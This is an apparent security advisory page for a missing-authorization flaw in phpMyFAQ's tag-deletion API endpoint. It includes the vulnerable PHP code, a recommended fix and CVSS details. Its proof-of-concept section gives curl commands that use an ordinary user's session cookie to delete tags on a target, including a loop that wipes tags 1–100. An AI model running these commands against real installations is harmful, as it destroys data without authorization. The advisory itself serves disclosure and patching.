Medium

phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags

  • Disclosed: 06.05.2026
  • Updated: 11.10.2026 10:22

Summary

The TagController::delete() endpoint at DELETE /admin/api/content/tags/{tagId} only verifies that the user is logged in (userIsAuthenticated()), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with TagController::update() and TagController::search(), which both enforce the FAQ_EDIT permission.

Details

In phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php, the delete() method (line 121-133) uses only $this->userIsAuthenticated():

php
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userIsAuthenticated();  // Only checks isLoggedIn() — no permission check

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

Compare with update() (line 48-71) which properly enforces authorization:

php
public function update(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);  // Proper permission check
    // ... also verifies CSRF token ...
}

The userIsAuthenticated() method in AbstractController (line 258-263) only checks $this->currentUser->isLoggedIn():

php
protected function userIsAuthenticated(): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
}

There is no admin-level middleware in the Kernel — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (admin/api/index.php) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.

Additionally, this endpoint lacks CSRF token verification (unlike update()), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.

PoC

bash
# Step 1: Register as a regular user on the phpMyFAQ frontend
# (or use any existing non-admin authenticated session)

# Step 2: As the authenticated non-admin user, delete tag with ID 1:
curl -X DELETE 'https://target.com/admin/api/content/tags/1' \
  -H 'Cookie: PHPSESSID=<regular_user_session>'

# Expected: 401 or 403 (user lacks FAQ_EDIT permission)
# Actual: 200 OK with {"success": "..."}

# Step 3: Enumerate and delete all tags:
for i in $(seq 1 100); do
  curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \
    -H 'Cookie: PHPSESSID=<regular_user_session>'
done

Impact

Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:

  • Data integrity loss: Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.
  • Disruption of FAQ organization: Tag-based navigation, filtering, and tag clouds become empty or broken.
  • No recoverability without backup: Deleted tags and their associations cannot be restored without a database backup.

The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.

Recommended Fix

Add the FAQ_EDIT permission check and CSRF token verification to TagController::delete(), consistent with TagController::update():

php
#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

At minimum, add $this->userHasPermission(PermissionType::FAQ_EDIT) to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated TAG_DELETE permission type for more granular access control.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package phpmyfaq/phpmyfaq < 4.1.2 4.1.2
Composer package thorsten/phpmyfaq < 4.1.2 4.1.2

References

CVSS score 5.4/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Weakness (CWE)
CWE-862
Platform
Composer
Package
phpmyfaq/phpmyfaq, thorsten/phpmyfaq
Disclosed
06.05.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7cx3-2qx2-3g6w - CC BY 4.0

Vulnerability history: phpmyfaq/phpmyfaq

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (47) in the archive
Total entries
47
First → latest
10.2022 09.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 18
  • Medium 25
  • Low 2

Disclosures per year

  1. 2022: 1
  2. 2023: 0
  3. 2024: 11
  4. 2025: 3
  5. 2026: 32
Severity:
  1. High · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. High · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. High · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags this entry
    Medium · 5.4 CVE-2026-46365 < 4.1.2 4.1.2
  5. High · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  6. High · 7.2 CVE-2024-28105 >= 3.2.5, < 3.2.6 3.2.6
  7. High · 8.8 CVE-2024-28107 >= 3.2.5, < 3.2.6 3.2.6
  8. High · 8.8 CVE-2024-27299 >= 3.2.5, < 3.2.6 3.2.6
  9. High · 8.4 CVE-2022-3608 < 3.2.0-alpha 3.2.0-alpha

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.